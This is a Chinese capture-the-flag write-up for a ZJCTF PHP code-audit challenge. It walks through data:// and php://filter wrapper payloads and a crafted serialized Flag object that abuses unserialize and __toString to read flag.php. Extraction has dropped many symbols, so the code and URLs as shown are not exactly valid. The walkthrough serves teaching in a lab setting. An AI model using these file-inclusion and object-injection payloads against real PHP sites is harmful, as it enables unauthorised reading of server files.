他给的那个题目上看了一下没有其他信息直接打开靶场打开靶场以后可以看到以下代码看样子是一道关于PHP代码审计的题目?php $text $_GET[text]; $file $_GET[file]; $password $_GET[password]; if(isset($text)(file_get_contents($text,r)welcome to the zjctf)){ echo brh1.file_get_contents($text,r)./h1/br; if(preg_match(/flag/,$file)){ echo Not now!; exit(); }else{ include($file); //useless.php $password unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?代码逻辑很清晰我们需要传递三个GET参数text、file、password来进行绕过第一个绕过先看第一个关于text的if他的意思是要求file_get_contents($text, r)读取到的内容严格等于welcome to the zjctf。满足条件后页面就会输出显示以h1标题包裹的 welcome to the zjctf也就是file_get_contents($text, r)读取到的内容我们不能直接传一个普通字符串因为file_get_contents()期望的是一个文件路径或流它会去读取这个“文件”的内容然后与目标字符串进行强比较所以这里我们需要用到PHPdata://伪协议。这个协议允许我们将数据作为流来嵌入相当于“模拟”了一个内容是welcome to the zjctf的文件。第一个payload如下?textdata://text/plain,welcome to the zjctf可以看到页面直接输出了welcome to the zjctf第二个绕过接着看第二个if这是一个过滤意思是不能出现flag关键词如果出现则直接退出程序不是就能执行接下来的程序。接着往下面看可以看到下面给我们提示了useless.php文件。应该是让我们看一下这个文件接下来我们尝试访问useless.php这个文件在这里我们需要用到另一个伪协议PHPphp://filter伪协议。并且配合convert.base64-encode过滤器将内容编码输出避免被当作PHP代码直接执行从而看到明文。第二个payload如下?textdata://text/plain,welcome to the zjctffilephp://filter/readconvert.base64-encode/resourceuseless.php其中read显式指定过滤器应用于读取操作。resource 用于指定要过滤的目标资源如文件路径、URL 等。可以看到文件内容以base64编码格式输出我们将其解码得到以下内容?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this-file)){ echo file_get_contents($this-file); echo br; return (U R SO CLOSE !///COME ON PLZ); } } } ?通过这段代码我们可以知道useless.php定义了一个Flag类它有一个__tostring()魔术方法。__tostring()的触发条件当把类的对象当作字符串来使用时例如echo $对象这个方法会被自动调用。在之前的代码中有一句echo $password;而$password是我们传参后经过反序列化得到的对象。__tostring()方法里的逻辑是执行file_get_contents($this-file)并输出结果。攻击思路我们需要让$password是一个反序列化后的Flag对象并且这个对象的$file属性值为flag.php。这样当代码执行到echo $password;时就会触发__tostring()从而帮我们读取flag.php。造序列化数据根据useless.php中的类编写一个简单的PHP脚本来生成我们需要的序列化字符串。?php class Flag{ public $file flag.php; } $a new Flag(); echo serialize($a); ?运行这段脚本得到序列化结果O:4:Flag:1:{s:4:file;s:8:flag.php;}最终Payloadtext仍用data://伪协议绕过第一关。file现在需要真正包含useless.php这个文件这样PHP才能知道Flag类的定义。注意不能再用php://filter了直接写useless.php即可。password传入我们刚构造好的序列化字符串。最终URL如下?textdata://text/plain,welcome to the zjctffileuseless.phppasswordO:4:Flag:1:{s:4:file;s:8:flag.php;}查看页面源代码最终得到flag
3个常见场景:如何用Reset Windows Update Tool彻底解决Windows更新问题 【免费下载链接】Script-Reset-Windows-Update-Tool This script reset the Windows Update Components. 项目地址: https://gitcode.com/gh_mirrors/sc/Script-Reset-Windows-Update-Tool …
UE4SS游戏脚本工具快速实战指南:如何为游戏添加脚本功能 【免费下载链接】RE-UE4SS Injectable LUA scripting system, SDK generator, live property editor and other dumping utilities for UE4/5 games 项目地址: https://gitcode.com/gh_mirrors/re/RE-UE4SS…